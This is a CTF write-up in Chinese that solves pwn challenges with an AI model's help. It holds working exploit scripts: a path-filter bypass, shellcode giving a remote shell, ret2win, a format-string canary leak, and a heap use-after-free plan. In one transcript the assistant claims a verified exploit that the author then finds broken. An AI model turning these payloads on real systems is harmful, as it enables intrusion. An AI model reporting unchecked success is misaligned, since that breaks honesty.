PWN

使用gpt-plus codex gpt-5.4中等推理 辅助解题

无能的pwn手

题目提示

提示如下:

部署服务的文件夹下只有pwnlibc.so.6flag文件三个文件,注意,flag文件的文件名不是flag

如果卡住了,你的队友或许能给你提供帮助

本题容器为web服务。首次访问时卡顿或无响应大概率是网络问题,尝试多次刷新即可解决。后续测试中如果打崩程序或异常无响应、拒绝连接,则需要重启容器。

解题过程

先连接上尝试直接getflag

~ nc 127.0.0.1 37359  INT took 19s 
cat /flag
HTTP/1.1 400 Bad Request
Content-Type: text/plain
Content-Length: 12
Connection: close

bad request

似乎使用HTTP头

于是发送GET / HTTP/1.1\r\nHost: localhost\r\n\r\n

得到

HTTP/1.1 200 OK 
Content-Type: text/plain
Content-Length: 18
Connection: close

GET ?filepath=xxx

给了提示

于是尝试/flag/pwn,被禁止了,于是尝试绕过,flag文件名不确定,于是尝试绕过pwn,使用./pwn成功得到pwn附件,接受字节写入文件中

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
host = '127.0.0.1'
port = 37359

def start():
return remote(host, port)

p=start()
p.send(b"GET /?filepath=./pwn HTTP/1.1\r\nHost: localhost\r\n\r\n")
data = p.recvall()

print(f"total recv = {len(data)} bytes")

sep = b"\r\n\r\n"
idx = data.find(sep)
if idx == -1:
print("not HTTP")
print(data[:200])
exit()

body = data[idx + len(sep):]
print(f"body size = {len(body)} bytes")
print(f"body head = {body[:8]!r}")

with open("./dump.elf", "wb") as f:
f.write(body)

print("saved to dump.elf")
p.interactive()

ai一把梭

> 查看wsl中home的WHUCTF2026的dump.elf告诉我如何getflag

dump.elf 的 getflag 思路不是目录穿越,而是栈溢出劫持执行。

我逆出来的关键点是:

服务监听 9999,只接受形如 GET /?filepath=... HTTP/1.1 的请求。
filepath 先做 URL decode。
过滤会拒绝:
任意位置出现 "flag"
任意位置出现 \
任意位置出现 ..
首字节是 / 或 \

但 build_path_from_decoded() 有明显漏洞:
栈上只有 char buf[0x100]
却直接 memcpy(buf, decoded, decoded_len)
然后才 fopen(buf, "rb")

保护很弱:
No PIE
No canary
Executable stack
还有现成跳板 gadget_push_rsp_20_ret = 0x40166f

所以利用链很直接:

构造一个不触发过滤的 filepath。
用 %00 提前截断路径,比如开头放 a%00,这样 fopen("a") 无所谓成不成功。
后面继续塞溢出数据,覆盖返回地址。
返回到 0x40166f,让它跳到我们放在栈后的 shellcode。
shellcode 用 dupsh(4) 起 shell。
原因:这个单进程服务里通常监听 socket 是 3,accept() 出来的客户端 fd 就是 4。
拿到 shell 后发 cat /f*,避免请求阶段出现字面量 flag。

偏移我已经帮你算好了:

覆盖返回地址偏移:0x108
跳板后 shellcode 放置偏移:0x130

可直接用这个思路打:

from pwn import *
import time

context.clear(arch='amd64', os='linux')

HOST = 'target.host'
PORT = 9999
RET_GADGET = 0x40166f

sc = asm(shellcraft.amd64.linux.dupsh(4))

payload = b'a\x00'
payload = payload.ljust(0x100, b'A')
payload += b'B' * 8
payload += p64(RET_GADGET)
payload += b'C' * 0x20
payload += sc

enc = ''.join(f'%{b:02x}' for b in payload)
req = f'GET /?filepath={enc} HTTP/1.1\r\nHost: x\r\n\r\n'.encode()

p = remote(HOST, PORT)
p.send(req)
time.sleep(0.2)
p.sendline(b'cat /f*')
p.interactive()

为什么这段能过过滤:

shellcode 我检查过,不含 flag、\、..
%00 可以把 fopen 看到的路径截成短字符串
过滤检查的是“请求解码后的原始字节”,不是运行时 shell 里你后续输入的命令
如果你愿意,我下一步可以直接把这份利用脚本整理成 exp_dump.py,按你现在这题的远程地址替你改好。

照抄payload后直接getshell

然后查找flag文件

find / -type f 2>/dev/null | grep -viE '/proc|/sys|/dev' | grep -i 'flag'

然后cat对应文件就行了

ZombieSurvival Server

题目提示

本题难点在于协议还原,但是因为给出了附件,所以基本没有难点

ret2win

关注 IL2CPP 字符串对象的布局,尤其是长度字段和字符区

意味着ai很适合梭

过程

> 分析assembly_csharp

33 条消息
assembly_csharp 不是 C# 程序,而是一个 64 位 ELF 服务端二进制,伪装成 Unity/Mirror/IL2CPP 后端。核心逻辑很小,真正有价值的是一个明显的栈溢出点。

整体功能
这个程序启动后打印 banner,然后在 main 里直接进入 handle_client 循环。通信协议固定是 8 字节头:

struct MsgHdr {
uint32_t magic; // 必须是 'MIRR' = 0x5252494d
uint16_t type; // 消息类型
uint16_t len; // payload 长度,最大 0x1000
}
支持的消息类型:

1: handle_handshake
2: handle_load_savedata
3: handle_get_stats
0xfe: 返回 "pong"
0xff: quit
程序内部维护一个会话结构,大致像这样:

struct Session {
int fd; // +0x00,固定初始化成 1
char handle[32]; // +0x04
uint32_t pid; // +0x24,实际上是 (session_ptr ^ 0xdeadbeef)
uint32_t kills; // +0x28
uint32_t deaths; // +0x2c
uint32_t authed; // +0x30
}
关键分析
handle_handshake 几乎没有认证。它只从 payload 里取一个长度字节和用户名字符串,复制到 handle[32],然后直接把 authed=1。也就是说,发一次 type 1 的握手包就算“登录成功”了,没有口令、签名或 token。

handle_get_stats 只是把当前会话格式化输出:

handle=%s pid=0x%08x kills=%u deaths=%u
handle_load_savedata 才是题眼。它在认证后:

要求 len > 0x17
从 payload+0x14 取一个 int32 作为字符串长度
调用 Il2CppString_Deserialize 把 payload+0x18 开始的 UTF-16 数据转成单字节字符串
目标缓冲区是栈上的 [rbp-0x90]
问题在于 Il2CppString_Deserialize 的边界检查只保证“不读越界”,不保证“不写越界”。它最多能写大约 floor(payload_len/2)-12 个字节;而 payload_len 允许到 0x1000,所以最多可写约 2036 字节进一个约 128 字节的栈缓冲区。

这就是稳定的栈溢出。

结论
这是一个典型 pwn 服务:

先发 type 1 包完成“认证”
再发超长 type 2 包触发 handle_load_savedata 栈溢出
程序里还存在未被正常调用的 get_flag 函数,会读取并输出 flag.txt
二进制保护也偏弱:无 PIE、无栈 canary、NX 开启、Partial RELRO
如果你愿意,我下一步可以直接给你:

这个协议的精确 payload 格式
一份本地/远程可用的 exp 脚本
或者继续细化到 ROP/ret2win 利用链,直接打到 get_flag

> 一份本地/远程可用的 exp 脚本到 ROP/ret2win 利用链,直接打到 get_flag, 本题难点在于协议还原,但是因为给出了附件,所以基本没有难点
> ret2win
> 关注 IL2CPP 字符串对象的布局,尤其是长度字段和字符区

25 条消息
ret2win 的 pwntools 脚本已经写在 exp.py 里,默认连 127.0.0.1:9001,远程用 python exp.py REMOTE HOST=host PORT=port。

这条链的关键点是伪造 load_savedata 里的假 IL2CPP 字符串对象:

payload+0x14 放 int32 length
payload+0x18 开始放字符区
反序列化时每个 Il2CppChar 只取低字节,所以 ROP 链要编码成 p16(byte) 串
利用偏移是:

栈缓冲区起点到 saved rbp:0x90
到返回地址:0x98
为了栈对齐,链子是 b"A"*0x90 + b"B"*8 + p64(0x40101a) + p64(0x40133b)
我还做了一次端到端验证:把原始协议流直接喂给 ELF,已经成功走到 get_flag,输出了 flag.txt not found,随后崩溃。这说明 ret -> get_flag 链是通的;之所以没出 flag,是因为当前 WSL 运行目录里没有题目容器中的 flag.txt。另外日志里那个 length=1094795585 是正常的,因为溢出后把 handle_load_savedata 的局部 count 变量也一起覆盖成了 0x41414141

如果你要,我下一步可以再顺手给你补一版:

更像比赛 writeup 的协议还原说明
或者把脚本改成“本地 stdin 验证 + 远程 TCP 打点”双模式

修改脚本后

#!/usr/bin/env python3

'''
author: GeekCmore
time: 2026-04-18 09:19:33
'''
from pwn import *


context(os='linux', arch='amd64') # , log_level='debug'
context.terminal = ['wt.exe', 'wsl']
filename = '/home/ubuntu/WHUCTF2026/sever/assembly_csharp'
libcname = ''
host = '127.0.0.1'
port = 39599
container_id = ''
proc_name = 'assembly_csharp'
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''


b main

'''


MAGIC = 0x5252494D
MSG_HANDSHAKE = 0x0001
MSG_LOAD_SAVEDATA = 0x0002

RET = 0x40101A
GET_FLAG = elf.sym['get_flag']


def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f'{i} => {v}')
idx = int(input('Which one:'))
import tempfile
with tempfile.NamedTemporaryFile(prefix='cpwn-gdbscript-', delete=False, suffix='.gdb', mode='w') as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')
print(tmp.name)
run_in_new_terminal(['sudo', 'gdb', '-p', target_proc[idx]['PID'], '-x', tmp.name])
return p
else:
return gdb.debug(elf.path, gdbscript=gs)


def pack_msg(msg_type, payload=b''):
return p32(MAGIC) + p16(msg_type) + p16(len(payload)) + payload


def recv_msg(io):
hdr = io.recvn(8)
if u32(hdr[:4]) != MAGIC:
raise ValueError('bad magic')
msg_type = u16(hdr[4:6])
length = u16(hdr[6:8])
payload = io.recvn(length) if length else b''
return msg_type, payload


def handshake(name=b'pwn'):
return bytes([len(name)]) + name


def utf16_lowbytes(data):
return b''.join(p16(b) for b in data)


def build_savedata():
chain = flat(
b'A' * 0x90,
b'B' * 8,
p64(RET),
p64(GET_FLAG),
)
return b'A' * 0x14 + p32(len(chain)) + utf16_lowbytes(chain)


def exp():
p = start()
p.recvuntil(b'Assembly: Assembly-CSharp.dll\n')
p.recvuntil(b'=========================================\n')

p.send(pack_msg(MSG_HANDSHAKE, handshake()))
recv_msg(p)

payload = build_savedata()
p.send(pack_msg(MSG_LOAD_SAVEDATA, payload))

p.interactive()


if __name__ == '__main__':
exp()

ZombieSurvival Server Hard

同样接着上面的ZombieSurvival Server的对话,一样交给ai分析,看看有什么不同

> 现在安全防护升级了,这是一个新文件,再次尝试,提示:
> 安全团队对 ZombieSurvival 游戏服务端进行渗透测试。服务端基于 Mirror Networking v67,使用 Unity IL2CPP 后端编译,启用了全套内存保护。测试人员注> 意到握手阶段的响应有些奇怪……存档上传接口的解析逻辑也值得究。


上 70 条消息
exp.py 已经改成这版新题的最终利用,思路是:

先用握手格式串漏洞泄露 %15$p|%37$p。%15$p 给 canary,%37$p 给二进制内地址,减去 0x1259 得 PIE 基址。然后走 load_savedata 的 IL2CPP 字符串反序列化溢出,把栈覆盖成 padding(0x88) + canary + fake_rbp + ret + get_flag,其中字符区按 p16(byte) 编码。

我已经在本地用 python3 exp.py P 验证过,成功打出假 flag:

flag{local_test_only_not_the_real_flag}
后面的 SIGSEGV 是预期内的,因为 get_flag 返回后栈已经不可恢复。

你现在直接用:

本地:python3 exp.py P
远程:python3 exp.py R
如果你要,我也可以下一条直接把这题的简洁 writeup 给你整理出来。

实际上不可打通,发现是canary格串偏移错位了

随便连了一个2.35-0ubuntu3_amd,gdb进去调试计算出canary泄露的格串偏移,即可完成

LEAK_FMT = b'%15$p|%37$p'->LEAK_FMT = b'%43$p|%37$p'

#!/usr/bin/env python3

'''
author: GeekCmore
time: 2026-04-18 09:19:33
'''
import sys


from pwn import *


context(os='linux', arch='amd64') # , log_level='debug'
context.terminal = ['wt.exe', 'wsl']
filename = './assembly_csharp_patched'
libcname = ''
host = '127.0.0.1'
port = 36591
container_id = ''
proc_name = 'assembly_csharp_patched'
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''


b *handle_handshake
b *handle_load_savedata

'''


MAGIC = 0x5252494D
MSG_HANDSHAKE = 0x0001
MSG_LOAD_SAVEDATA = 0x0002

LEAK_FMT = b'%43$p|%37$p'
LEAK_RET_OFF = 0x1259
GET_FLAG_OFF = elf.sym['get_flag']
RET_OFF = 0x101A

OFFSET_TO_CANARY = 0x88
OFFSET_TO_RET = 0xA0


def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f'{i} => {v}')
idx = int(input('Which one:'))
import tempfile
with tempfile.NamedTemporaryFile(prefix='cpwn-gdbscript-', delete=False, suffix='.gdb', mode='w') as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')
print(tmp.name)
run_in_new_terminal(['sudo', 'gdb', '-p', target_proc[idx]['PID'], '-x', tmp.name])
return p
else:
return gdb.debug(elf.path, gdbscript=gs)


def pack_msg(msg_type, payload=b''):
return p32(MAGIC) + p16(msg_type) + p16(len(payload)) + payload


def recv_msg(io):
hdr = io.recvn(8)
magic = u32(hdr[:4])
if magic != MAGIC:
raise ValueError(f'bad magic: {magic:#x}')
msg_type = u16(hdr[4:6])
length = u16(hdr[6:8])
payload = io.recvn(length) if length else b''
return msg_type, payload


def recv_startup(io):
io.recvuntil(b'Assembly: Assembly-CSharp.dll\n')
io.recvuntil(b'=========================================\n')


def handshake(name):
return bytes([len(name)]) + name


def utf16_lowbytes(data):
return b''.join(p16(b) for b in data)


def parse_leaks(payload):
canary_s, pie_s = payload.split(b'|')
canary = int(canary_s, 16)
pie_leak = int(pie_s, 16)
pie_base = pie_leak - LEAK_RET_OFF
return canary, pie_base


def build_savedata(canary, pie_base):
chain = flat(
b'A' * OFFSET_TO_CANARY,
canary,
b'B' * 8,
pie_base + RET_OFF,
pie_base + GET_FLAG_OFF,
)
assert len(chain) == OFFSET_TO_RET + 8
return b'A' * 0x14 + p32(len(chain)) + utf16_lowbytes(chain)


def exp():
p = start()

recv_startup(p)

p.send(pack_msg(MSG_HANDSHAKE, handshake(LEAK_FMT)))
msg_type, payload = recv_msg(p)
assert msg_type == MSG_HANDSHAKE
canary, pie_base = parse_leaks(payload)
log.success(f'canary = {canary:#x}')
log.success(f'pie_base = {pie_base:#x}')

payload = build_savedata(canary, pie_base)
p.send(pack_msg(MSG_LOAD_SAVEDATA, payload))

data = p.recvall(timeout=2)
if data:
sys.stdout.buffer.write(data)
sys.stdout.flush()


if __name__ == '__main__':
exp()

ezProtobuf

先ai逆向分析

> 阅读/chall文件夹的/chall,这是一个photobuf的pwn题,帮我分析思路

上 30 条消息
这个题的核心不是 protobuf 本身,而是一个很直白的堆 UAF,protobuf 只是把交互包装成了消息。

程序逻辑大致是:

全局有 a[16] 保存 chunk 指针,sz[16] 保存大小
main 循环收 Request,按 op 分发到 add/del/edit/show
Request 基本可以还原成:
enum Op {
OP_INVALID = 0;
OP_ADD = 1;
OP_DEL = 2;
OP_EDIT = 3;
OP_SHOW = 4;
OP_QUIT = 5;
}

message Request {
Op op = 1;
uint32 idx = 2;
uint32 size = 3;
bytes data = 4;
}

message Response {
bool ok = 1;
string msg = 2;
bytes data = 3;
}
关键漏洞在 del_chunk:

它只做了 free(a[idx])
没有清空 a[idx]
也没有清空 sz[idx]
所以马上得到两个 primitive:

show(idx) 可以对已释放 chunk 做 UAF read
edit(idx, data) 可以对已释放 chunk 做 UAF write
几个 handler 的行为很关键:

add:
idx <= 0xf
a[idx] 必须为空
size 要满足 0 < size <= 0x10000
len(data) <= size
分配 malloc(size),拷贝 data,记录 sz[idx]=size
edit:
只检查 a[idx] != NULL
只要求 len(data) <= sz[idx]
先 memset(a[idx], 0, sz[idx]),再 memcpy
show:
只检查 a[idx] != NULL
直接按 sz[idx] 长度把 a[idx] 内容回传
del:
free(a[idx])
但指针和大小都还留着
所以利用思路很标准:

先做泄漏
大 chunk 走 unsorted bin:
add(idx0, size>0x410)
del(idx0)
show(idx0) 泄漏 unsorted bin 里的 fd/bk
直接拿到 main_arena,算 libc base
小 chunk 走 tcache:
add(idx1, small)
del(idx1)
show(idx1) 泄漏 safe-linking 相关值
配合布局可以恢复 heap 信息
再做 tcache poisoning
因为 edit 能改 freed chunk 内容,所以可以直接改 tcache chunk 的 fd
然后通过后续 malloc 把同尺寸分配导向任意地址,拿到 arbitrary write
最后找控制流劫持点
这题保护很硬:
Full RELRO
Canary
NX
PIE
SHSTK
IBT

另外 seccomp 只禁了:
execve
execveat
fork/vfork/clone/clone3
也就是说:
传统 ret2libc 很不舒服
直接 system("/bin/sh") 也不是好路
但 open/openat/read/write 这类 ORW 还是可行的
所以最后一段利用更像:

先 UAF 泄漏 libc/heap
再 tcache poisoning 拿任意写
最后打一个 CET 兼容 的目标
更靠谱的方向是:
House of Apple 2
或 setcontext / exit-path 相关链
做 ORW 读 flag
不太建议一开始就往普通栈 ROP 想
补一个很实战的判断:

这题最像“glibc 2.35 下的 UAF + tcache/unsorted bin + CET-aware hijack”
protobuf 只是请求格式,不是漏洞来源
真正的突破口就是 free 后悬挂指针还能 show/edit
如果你愿意,我下一步可以直接继续帮你写:

一个最小的 Python 交互脚本,先把 protobuf 请求发通
然后把 libc leak 和 heap leak 的利用脚本骨架搭出来

让ai建立交互脚本

> 帮我生成这题的Python protobuf 类\\wsl.localhost\Ubuntu\home\ubuntu\WHUCTF2026\chall

上 6 条消息
已经生成好了,文件在:
\\wsl.localhost\Ubuntu\home\ubuntu\WHUCTF2026\chall\chall.proto
\\wsl.localhost\Ubuntu\home\ubuntu\WHUCTF2026\chall\chall_pb2.py
我这次用的是你 WSL 里的 protoc:

/home/ubuntu/protoc/bin/protoc
如果你之后想自己重新生成,命令就是:

cd /home/ubuntu/WHUCTF2026/chall
/home/ubuntu/protoc/bin/protoc --proto_path=. --python_out=. chall.proto
如果你愿意,我下一步可以直接帮你在这个目录里再补一个 exp.py 里可直接 import 的交互模板。

> 已经有了exp.py脚本,向里面写就行了

上 7 条消息
已经写进去了,文件是 exp.py。
我做了这几件事:
接入了 import chall_pb2
把二进制路径修正到 /home/ubuntu/WHUCTF2026/chall/chall_patched
加了 protobuf 交互封装:
send_request(...)
add(idx, size, data=b"")
delete(idx)
edit(idx, data=b"")
show(idx)
quit_()
现在你在利用逻辑里可以直接这样用:

resp = add(0, 0x20, b"AAAA")
log.info(f"add => ok={resp.ok} msg={resp.msg!r}")

resp = show(0)
log.info(f"show => ok={resp.ok} msg={resp.msg!r} data={resp.data!r}")

我还顺手做了 python3 -m py_compile 语法检查,脚本语法是通的。
如果你愿意,我下一步可以继续把 exp.py 直接补成完整的 add/edit/show/del 利用脚手架。

> chall_pb2.py似乎无法导入google,这些还在protoc/include中,帮我修复

已经修好了,chall_pb2.py 现在在 WSL 里可以直接导入。

我做的修复是:

把本机已有的 protobuf 4.25.9 Python 包复制到了题目目录下的 google
用 protoc 补生成了缺失的 descriptor_pb2.py
这样现在这份题目目录是自包含的,不依赖系统里额外安装 protobuf 包。
我还加了一个最小回归测试 test_pb2_import.py,先验证失败,再验证修复后通过。

你现在可以在这个目录里直接跑:

cd /home/ubuntu/WHUCTF2026/chall
python3 -c "import chall_pb2; print(chall_pb2.Request)"
会有几条 pkg_resources 的 DeprecationWarning,但这不影响使用。如果你想,我下一步可以顺手把这些 warning 也清掉

生成了文件,先是chall_pb2.py

# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: chall.proto
# Protobuf Python Version: 4.25.9
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0b\x63hall.proto\x12\x05\x63hall\"I\n\x07Request\x12\x15\n\x02op\x18\x01 \x01(\x0e\x32\t.chall.Op\x12\x0b\n\x03idx\x18\x02 \x01(\r\x12\x0c\n\x04size\x18\x03 \x01(\r\x12\x0c\n\x04\x64\x61ta\x18\x04 \x01(\x0c\"1\n\x08Response\x12\n\n\x02ok\x18\x01 \x01(\x08\x12\x0b\n\x03msg\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*S\n\x02Op\x12\x0e\n\nOP_INVALID\x10\x00\x12\n\n\x06OP_ADD\x10\x01\x12\n\n\x06OP_DEL\x10\x02\x12\x0b\n\x07OP_EDIT\x10\x03\x12\x0b\n\x07OP_SHOW\x10\x04\x12\x0b\n\x07OP_QUIT\x10\x05\x62\x06proto3')

_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'chall_pb2', _globals)
if _descriptor._USE_C_DESCRIPTORS == False:
DESCRIPTOR._options = None
_globals['_OP']._serialized_start=148
_globals['_OP']._serialized_end=231
_globals['_REQUEST']._serialized_start=22
_globals['_REQUEST']._serialized_end=95
_globals['_RESPONSE']._serialized_start=97
_globals['_RESPONSE']._serialized_end=146
# @@protoc_insertion_point(module_scope)

和chall.proto

syntax = "proto3";

package chall;

enum Op {
OP_INVALID = 0;
OP_ADD = 1;
OP_DEL = 2;
OP_EDIT = 3;
OP_SHOW = 4;
OP_QUIT = 5;
}

message Request {
Op op = 1;
uint32 idx = 2;
uint32 size = 3;
bytes data = 4;
}

message Response {
bool ok = 1;
string msg = 2;
bytes data = 3;
}

文件目录

 ~/WHUCTF2026/chall  tree                                                                                                        
.
├── __pycache__
│ ├── chall_pb2.cpython-312.pyc
│ ├── exp.cpython-312.pyc
│ └── test_pb2_import.cpython-312.pyc
├── chall
├── chall.proto
├── chall_patched
├── chall_pb2.py
├── exp.py
├── google
│ ├── __init__.py
│ ├── __pycache__
│ │ └── __init__.cpython-312.pyc
│ └── protobuf
│ ├── __init__.py
│ ├── __pycache__
│ │ ├── __init__.cpython-312.pyc
│ │ ├── descriptor.cpython-312.pyc
│ │ ├── descriptor_database.cpython-312.pyc
│ │ ├── descriptor_pb2.cpython-312.pyc
│ │ ├── descriptor_pool.cpython-312.pyc
│ │ ├── message.cpython-312.pyc
│ │ ├── message_factory.cpython-312.pyc
│ │ ├── reflection.cpython-312.pyc
│ │ ├── symbol_database.cpython-312.pyc
│ │ ├── text_encoding.cpython-312.pyc
│ │ ├── text_format.cpython-312.pyc
│ │ └── unknown_fields.cpython-312.pyc
│ ├── compiler
│ │ └── __init__.py
│ ├── descriptor.py
│ ├── descriptor_database.py
│ ├── descriptor_pb2.py
│ ├── descriptor_pool.py
│ ├── internal
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ │ ├── __init__.cpython-312.pyc
│ │ │ ├── api_implementation.cpython-312.pyc
│ │ │ ├── builder.cpython-312.pyc
│ │ │ ├── containers.cpython-312.pyc
│ │ │ ├── decoder.cpython-312.pyc
│ │ │ ├── encoder.cpython-312.pyc
│ │ │ ├── enum_type_wrapper.cpython-312.pyc
│ │ │ ├── extension_dict.cpython-312.pyc
│ │ │ ├── field_mask.cpython-312.pyc
│ │ │ ├── message_listener.cpython-312.pyc
│ │ │ ├── python_message.cpython-312.pyc
│ │ │ ├── type_checkers.cpython-312.pyc
│ │ │ ├── well_known_types.cpython-312.pyc
│ │ │ └── wire_format.cpython-312.pyc
│ │ ├── _parameterized.py
│ │ ├── any_test.proto
│ │ ├── api_implementation.cc
│ │ ├── api_implementation.py
│ │ ├── builder.py
│ │ ├── containers.py
│ │ ├── decoder.py
│ │ ├── decoder_test.py
│ │ ├── descriptor_database_test.py
│ │ ├── descriptor_pool_test.py
│ │ ├── descriptor_pool_test1.proto
│ │ ├── descriptor_pool_test2.proto
│ │ ├── descriptor_test.py
│ │ ├── encoder.py
│ │ ├── enum_type_wrapper.py
│ │ ├── extension_dict.py
│ │ ├── factory_test1.proto
│ │ ├── factory_test2.proto
│ │ ├── field_mask.py
│ │ ├── field_mask_test.py
│ │ ├── file_options_test.proto
│ │ ├── generator_test.py
│ │ ├── import_test.py
│ │ ├── import_test_package
│ │ │ ├── __init__.py
│ │ │ ├── import_public.proto
│ │ │ ├── import_public_nested.proto
│ │ │ ├── inner.proto
│ │ │ └── outer.proto
│ │ ├── json_format_test.py
│ │ ├── keywords_test.py
│ │ ├── message_factory_test.py
│ │ ├── message_listener.py
│ │ ├── message_set_extensions.proto
│ │ ├── message_test.py
│ │ ├── missing_enum_values.proto
│ │ ├── more_extensions.proto
│ │ ├── more_extensions_dynamic.proto
│ │ ├── more_messages.proto
│ │ ├── no_package.proto
│ │ ├── numpy
│ │ │ ├── BUILD.bazel
│ │ │ ├── __init__.py
│ │ │ └── numpy_test.py
│ │ ├── packed_field_test.proto
│ │ ├── proto_builder_test.py
│ │ ├── python_message.py
│ │ ├── python_protobuf.cc
│ │ ├── reflection_test.py
│ │ ├── self_recursive.proto
│ │ ├── service_reflection_test.py
│ │ ├── symbol_database_test.py
│ │ ├── test_bad_identifiers.proto
│ │ ├── test_proto3_optional.proto
│ │ ├── test_util.py
│ │ ├── testing_refleaks.py
│ │ ├── text_encoding_test.py
│ │ ├── text_format_test.py
│ │ ├── thread_safe_test.py
│ │ ├── type_checkers.py
│ │ ├── unknown_fields_test.py
│ │ ├── well_known_types.py
│ │ ├── well_known_types_test.py
│ │ ├── wire_format.py
│ │ └── wire_format_test.py
│ ├── json_format.py
│ ├── link_error_fast_cpp.cc
│ ├── link_error_pure_python.cc
│ ├── link_error_upb.cc
│ ├── message.py
│ ├── message_factory.py
│ ├── proto_api.h
│ ├── proto_builder.py
│ ├── pyext
│ │ ├── README
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ │ └── __init__.cpython-312.pyc
│ │ ├── cpp_message.py
│ │ ├── descriptor.cc
│ │ ├── descriptor.h
│ │ ├── descriptor_containers.cc
│ │ ├── descriptor_containers.h
│ │ ├── descriptor_database.cc
│ │ ├── descriptor_database.h
│ │ ├── descriptor_pool.cc
│ │ ├── descriptor_pool.h
│ │ ├── extension_dict.cc
│ │ ├── extension_dict.h
│ │ ├── field.cc
│ │ ├── field.h
│ │ ├── map_container.cc
│ │ ├── map_container.h
│ │ ├── message.cc
│ │ ├── message.h
│ │ ├── message_factory.cc
│ │ ├── message_factory.h
│ │ ├── message_module.cc
│ │ ├── python.proto
│ │ ├── repeated_composite_container.cc
│ │ ├── repeated_composite_container.h
│ │ ├── repeated_scalar_container.cc
│ │ ├── repeated_scalar_container.h
│ │ ├── safe_numerics.h
│ │ ├── scoped_pyobject_ptr.h
│ │ ├── unknown_field_set.cc
│ │ ├── unknown_field_set.h
│ │ ├── unknown_fields.cc
│ │ └── unknown_fields.h
│ ├── python_protobuf.h
│ ├── reflection.py
│ ├── service.py
│ ├── service_reflection.py
│ ├── symbol_database.py
│ ├── testdata
│ │ └── __init__.py
│ ├── text_encoding.py
│ ├── text_format.py
│ ├── unknown_fields.py
│ ├── use_fast_cpp_protos.cc
│ ├── use_pure_python.cc
│ ├── use_upb_protos.cc
│ └── util
│ └── __init__.py
├── ld-linux-x86-64.so.2
├── libc.so.6
├── libm.so.6
├── libprotobuf.so.23
├── libstdc++.so.6
├── libstdc++.so.6.0.30
└── test_pb2_import.py

15 directories, 168 files

接着和ai交互

> 快速写出框架,我自己修改和调试先

上 2 条消息
框架已经补进 exp.py 了,现在是“能直接拿去改”的状态。

里面我给你放了这些现成入口:

send_request(...) / ensure(...)
add_ok / del_ok / edit_ok / show_ok
dump_chunk(idx)
reveal_ptr(buf, off=0)
leak_libc_unsorted(...)
leak_heap_tcache(...)
protect_ptr(pos, ptr)
tcache_poison_example(...)
debug_roundtrip()
exploit()
默认逻辑是:

先用 unsorted bin 做 libc leak
再看 tcache/UAF 泄漏
最后停在 pause(),你自己接最终写原语和目标劫持
我还顺手跑了 python3 -m py_compile exp.py,语法是通的。

你现在可以先这样跑:

cd /home/ubuntu/WHUCTF2026/chall
python3 exp.py P TEST
或者直接进主流程:

python3 exp.py P
有一点你后面大概率要自己改:leak_libc_unsorted() 里我默认用了

libc.address = fd - (libc.sym['main_arena'] + 0x60)
这个偏移在你本地 glibc 版本上很可能接近对,但还是建议你进 gdb 再核一次。
如果你愿意,下一步我可以继续只补“glibc 2.35 + CET 下更合理的最终目标模板”。

一开始打算打__exit_funcs但是好像拿不到pointer_guard,于是尝试打exit->IO链+setcontext

先add一个大堆块再free再show得到libc地址,先add一个小堆块再free再show得到heap地址,可以顺带做tcache_posion于是先add两个相同大小的小堆块再free其中一个再show得到heap地址,再delete另一个然后edit这个堆块的fd指针(Safe Linking),修改到_IO_list_all,申请两个堆块出来,得到的第二个堆块就是_IO_list_all,在里面写入一个受控的堆地址,然后在这个受控的堆地址中伪造虚假的FILE结构体实现setcontext+orw,但是似乎出现了问题,在没到_IO_cleanup时就崩了,于是从头到尾调试一次,结果在一个堆块中发现了栈地址,于是可以tcache分配到栈上进行orw

先add堆块进行show得到栈地址,然后下面的大同小异,将tcache->fd控制为当前栈帧的rbp上,得到栈上的堆后就可以写orw的rop了

脚本如下

#!/usr/bin/env python3

'''
author: GeekCmore
time: 2026-04-18 09:19:33
'''
from pwn import *
import chall_pb2

context(os='linux', arch='amd64')#, log_level='debug'
context.terminal = ['wt.exe', 'wsl']
filename = '/home/ubuntu/WHUCTF2026/chall/chall_patched'
libcname = '/home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6_2.35-0ubuntu3.13_amd64/lib/x86_64-linux-gnu/libc.so.6'
host = '127.0.0.1'
port = 40335
container_id = ''
proc_name = ''
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''

